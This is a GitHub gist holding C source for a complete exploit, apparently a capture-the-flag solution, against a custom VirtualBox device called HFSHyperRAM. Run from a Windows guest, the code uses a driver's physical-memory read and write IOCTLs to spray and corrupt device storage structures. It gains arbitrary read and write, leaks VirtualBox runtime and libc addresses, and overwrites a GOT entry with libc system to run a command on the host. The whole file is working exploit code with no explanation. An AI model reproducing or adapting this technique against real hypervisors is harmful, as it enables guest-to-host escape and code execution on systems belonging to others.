-
-
Save likvidera/f557402a6de38821eeb0c416ed17a838 to your computer and use it in GitHub Desktop.
HFSHyperRAM Exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdbool.h> | |
#include <stdint.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#ifdef __linux__ | |
#include <fcntl.h> | |
#include <sys/mman.h> | |
#include <unistd.h> | |
#endif | |
#ifdef _WIN32 | |
#include <windows.h> | |
#endif | |
#ifdef _WIN32 | |
#define PQWORD PDWORD64 | |
#define QWORD DWORD64 | |
#define IOCTL_IS_CHEATING \ | |
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80000, METHOD_BUFFERED, FILE_ANY_ACCESS) | |
#define IOCTL_READ_PHYSMEM \ | |
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80001, METHOD_BUFFERED, FILE_ANY_ACCESS) | |
#define IOCTL_WRITE_PHYSMEM \ | |
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80002, METHOD_BUFFERED, FILE_ANY_ACCESS) | |
typedef struct _IOCTL_STRUCT { | |
SIZE_T bufferLen; | |
ULONG_PTR buffer; | |
ULONG_PTR addr; | |
} IOCTL_STRUCT, *PIOCTL_STRUCT; | |
// Windows-specific functions | |
HANDLE openDevice() { | |
return CreateFileA("\\\\.\\HFSAntiCheat", GENERIC_READ | GENERIC_WRITE, 0, | |
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); | |
} | |
BOOLEAN readPhysMem(HANDLE hDevice, ULONG_PTR addr, PVOID buf, SIZE_T buflen) { | |
DWORD bytesReturned = 0; | |
IOCTL_STRUCT ioctlStruct = {0}; | |
ioctlStruct.bufferLen = buflen; | |
ioctlStruct.buffer = (ULONG_PTR)buf; | |
ioctlStruct.addr = addr; | |
return DeviceIoControl(hDevice, IOCTL_READ_PHYSMEM, &ioctlStruct, | |
sizeof(ioctlStruct), &ioctlStruct, sizeof(ioctlStruct), | |
&bytesReturned, NULL); | |
} | |
BOOLEAN writePhysMem(HANDLE hDevice, ULONG_PTR addr, PVOID buf, SIZE_T buflen) { | |
DWORD bytesReturned; | |
IOCTL_STRUCT ioctlStruct = {0}; | |
ioctlStruct.bufferLen = buflen; | |
ioctlStruct.buffer = (ULONG_PTR)buf; | |
ioctlStruct.addr = addr; | |
return DeviceIoControl(hDevice, IOCTL_WRITE_PHYSMEM, &ioctlStruct, | |
sizeof(ioctlStruct), &ioctlStruct, sizeof(ioctlStruct), | |
&bytesReturned, NULL); | |
} | |
#endif | |
#ifdef _WIN32 | |
#define TARGET_ADDRESS 0x00000000e4700000 | |
#define HFS_STORAGE_RW 0 | |
#define HFS_CONFIG_KEY_OFFSET 16 | |
#define HFS_CONFIG_BUF_OFFSET 48 | |
#define HFS_CONFIG_MODE_OFFSET 80 | |
#define HFS_CONFIG_BUF_LEN_OFFSET 112 | |
#define HFS_CONFIG_STATUS_OFFSET 144 | |
#define HFS_CONFIG_STORAGE_IDX_OFFSET 176 | |
#define KEY_VALUE 0xfeedfacebeefcafeLL | |
#define KEY_VALUE_TWO 0xfacefeedcafebabeLL | |
#define OFFSET_TO_FUNC 0x60 | |
bool setConfigValue(HANDLE hDevice, uint64_t address, uint64_t value) { | |
if (!writePhysMem(hDevice, address, &value, sizeof(uint64_t))) { | |
printf("Failed to set config value at address: %llx.\n", address); | |
CloseHandle(hDevice); | |
return false; | |
} | |
printf("Set config value at address %llx: %llx\n", address, value); | |
return true; | |
} | |
uint64_t getConfigValue(HANDLE hDevice, uint64_t address) { | |
uint64_t readValue = 0LL; | |
if (!readPhysMem(hDevice, address, &readValue, sizeof(uint64_t))) { | |
printf("Failed to read config value from address: %llx.\n", address); | |
CloseHandle(hDevice); | |
exit(1); | |
} | |
printf("Read config value from address %llx: %llx\n", address, readValue); | |
return readValue; | |
} | |
bool writeToStorage(HANDLE hDevice, uint64_t value) { | |
if (!writePhysMem(hDevice, TARGET_ADDRESS, &value, sizeof(uint64_t))) { | |
printf("Failed to write to storage at address: %llx.\n", | |
(long long unsigned int)TARGET_ADDRESS); | |
CloseHandle(hDevice); | |
return false; | |
} | |
printf("Written to storage at address %llx: %llx\n", | |
(long long unsigned int)TARGET_ADDRESS, value); | |
return true; | |
} | |
uint64_t readFromStorage(HANDLE hDevice) { | |
uint64_t readValue = 0LL; | |
if (!readPhysMem(hDevice, TARGET_ADDRESS, &readValue, sizeof(uint64_t))) { | |
printf("Failed to read from storage at address: %llx.\n", | |
(long long unsigned int)TARGET_ADDRESS); | |
CloseHandle(hDevice); | |
exit(1); | |
} | |
printf("Read from storage at address %llx: %llx\n", | |
(long long unsigned int)TARGET_ADDRESS, readValue); | |
return readValue; | |
} | |
void checkMismatch(uint64_t setValue, uint64_t getValue) { | |
if (setValue != getValue) { | |
printf("Mismatch in written and read values!\n"); | |
exit(1); | |
} | |
} | |
void dumpState(HANDLE hDevice) { | |
getConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_KEY_OFFSET); | |
getConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_BUF_OFFSET); | |
getConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_MODE_OFFSET); | |
getConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_BUF_LEN_OFFSET); | |
getConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_STATUS_OFFSET); | |
getConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_STORAGE_IDX_OFFSET); | |
} | |
void spray(HANDLE hDevice, int num) { | |
uint64_t targetValue = 0xfacefeedcafebabeLL; | |
writeToStorage(hDevice, targetValue); | |
for (int i = 0; i < num; i++) { | |
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_STORAGE_IDX_OFFSET, i); | |
writeToStorage(hDevice, targetValue); | |
Sleep(50); | |
} | |
} | |
#define HFS_STORAGE_STRUCT_SIZE 24 | |
#define KEY_MARKER 40 | |
#define BUF_TARGET 48 | |
#define BUF_ID 32 | |
#define EXTRACT_DWORD(val) ((uint32_t)(val)) | |
bool find_target(HANDLE hDevice, int sprays, uint64_t targetValue, | |
int *target_id, int *corruption_id) { | |
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_BUF_OFFSET, | |
KEY_MARKER / sizeof(uint64_t)); | |
for (int i = 0; i < sprays; i++) { | |
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_STORAGE_IDX_OFFSET, i); | |
uint64_t val = readFromStorage(hDevice); | |
printf("read val %llx\n", val); | |
if (val == targetValue) { | |
*target_id = i; | |
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_BUF_OFFSET, | |
BUF_ID / sizeof(uint64_t)); | |
*corruption_id = EXTRACT_DWORD(readFromStorage(hDevice)); | |
return true; | |
} | |
} | |
return false; | |
} | |
// Overwrite the adjacent HFS_STORAGE.data pointer with target | |
void set_target(HANDLE hDevice, uint64_t target, int target_id) { | |
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_STORAGE_IDX_OFFSET, | |
target_id); | |
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_BUF_OFFSET, | |
BUF_TARGET / sizeof(uint64_t)); | |
writeToStorage(hDevice, target); | |
} | |
// Overwrite the adjacent HFS_STORAGE.data pointer with target | |
void arb_write(HANDLE hDevice, uint64_t target, uint64_t val, int target_id, | |
int corruption_id) { | |
set_target(hDevice, target, target_id); | |
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_STORAGE_IDX_OFFSET, | |
corruption_id); | |
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_BUF_OFFSET, 0); | |
writeToStorage(hDevice, val); | |
} | |
void write_string(void *hDevice, uint64_t start_addr, const char *str, | |
int target_id, int corruption_id) { | |
const int size = 8; // size of uint64_t | |
int len = strlen(str) + 1; // +1 for the null terminator | |
uint64_t buffer; | |
for (int i = 0; i < len; i += size) { | |
// Copy at most 8 bytes into the buffer | |
memcpy(&buffer, str + i, (len - i >= size) ? size : (len - i)); | |
arb_write(hDevice, start_addr + i, buffer, target_id, corruption_id); | |
} | |
} | |
// Overwrite the adjacent HFS_STORAGE.data pointer with target | |
uint64_t arb_read(HANDLE hDevice, uint64_t target, int target_id, | |
int corruption_id) { | |
set_target(hDevice, target, target_id); | |
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_STORAGE_IDX_OFFSET, | |
corruption_id); | |
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_BUF_OFFSET, 0); | |
return readFromStorage(hDevice); | |
} | |
uint64_t leak_hfsram(HANDLE hDevice, uint64_t val) { | |
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_MODE_OFFSET, 2); | |
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_BUF_OFFSET, val); | |
uint64_t version = readFromStorage(hDevice); | |
printf("Version: %llx\n", version); | |
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_BUF_OFFSET, 0); | |
return version; | |
} | |
void windows_pwn() { | |
printf("Windows PWN\n"); | |
uint64_t targetValue = 0; | |
HANDLE hDevice = openDevice(); | |
if (hDevice == INVALID_HANDLE_VALUE) { | |
printf("Failed to open device.\n"); | |
exit(1); | |
} | |
uint64_t hfs_rtmemalloc_got_offset = 0x4030; | |
uint64_t vboxrt_rtmemalloc = 0x1e9910; | |
uint64_t vboxrt_got_syscall = 0x347b98; | |
uint64_t libc_system_off = 0x50d60; | |
uint64_t libc_syscall_off = 0x11ea20; | |
uint64_t write_offset = 0x4000; | |
uint64_t vboxrt_base = 0x0; | |
uint64_t libc_base = 0x0; | |
uint64_t _ZL7version = 0x2200; | |
uint64_t _ZL19g_DeviceHFSHyperRAM = 0x3ce0 + OFFSET_TO_FUNC; | |
uint64_t _ZL20HFSHyperRAMConstructP11PDMDEVINSR3iP8CFGMNODE = 0x1440; | |
uint64_t hfshyperram_base = | |
leak_hfsram(hDevice, _ZL19g_DeviceHFSHyperRAM - _ZL7version); | |
hfshyperram_base -= _ZL20HFSHyperRAMConstructP11PDMDEVINSR3iP8CFGMNODE; | |
printf("HFSHyperRAM base: %llx\n", hfshyperram_base); | |
targetValue = KEY_VALUE; | |
int sprays = 10; | |
// dumpState(hDevice); | |
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_KEY_OFFSET, targetValue); | |
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_MODE_OFFSET, 1); | |
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_BUF_LEN_OFFSET, | |
HFS_STORAGE_STRUCT_SIZE); | |
// setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_STORAGE_IDX_OFFSET, 0); | |
spray(hDevice, sprays); | |
int corruption_id = 0; | |
int target_id = 0; | |
if (!find_target(hDevice, sprays, targetValue, &target_id, &corruption_id)) { | |
printf("failed to find the target!\n"); | |
CloseHandle(hDevice); | |
return; | |
} | |
printf("Found storage target! target_id: %d, corruption_id: %d\n", target_id, | |
corruption_id); | |
const char cmd[] = "flag\0\0\0\0"; | |
write_offset += hfshyperram_base; | |
// write command to an address | |
write_string(hDevice, write_offset, cmd, target_id, corruption_id); | |
// resolve libc.system | |
hfs_rtmemalloc_got_offset += hfshyperram_base; | |
uint64_t vbox_rt_leak = | |
arb_read(hDevice, hfs_rtmemalloc_got_offset, target_id, corruption_id); | |
printf("vbox_rt_leak: %llx\n", vbox_rt_leak); | |
vboxrt_base = vbox_rt_leak - vboxrt_rtmemalloc; | |
printf("vbox_rt_base: %llx\n", vboxrt_base); | |
vboxrt_got_syscall += vboxrt_base; | |
uint64_t libc_leak = | |
arb_read(hDevice, vboxrt_got_syscall, target_id, corruption_id); | |
printf("libc leak: %llx\n", libc_leak); | |
libc_base = libc_leak - libc_syscall_off; | |
libc_system_off += libc_base; | |
printf("libc base: %llx\n", libc_base); | |
printf("libc.system: %llx\n", libc_system_off); | |
// dso_handle leaks hfs base | |
// overwrite hfshyperram.got.plt.RTMemAllocTag with libc.system | |
arb_write(hDevice, hfs_rtmemalloc_got_offset, libc_system_off, target_id, | |
corruption_id); | |
// Setup and trigger | |
// set LEN to string_target, so the address containing the cmd gets passed to | |
// system | |
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_BUF_LEN_OFFSET, | |
write_offset); | |
// set a high offset to ensure RTMemAllocTag gets triggered | |
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_STORAGE_IDX_OFFSET, 30); | |
// trigger | |
writeToStorage(hDevice, write_offset); | |
// dumpState(hDevice); | |
CloseHandle(hDevice); | |
} | |
#endif | |
int main() { | |
#ifdef _WIN32 | |
windows_pwn(); | |
#endif | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment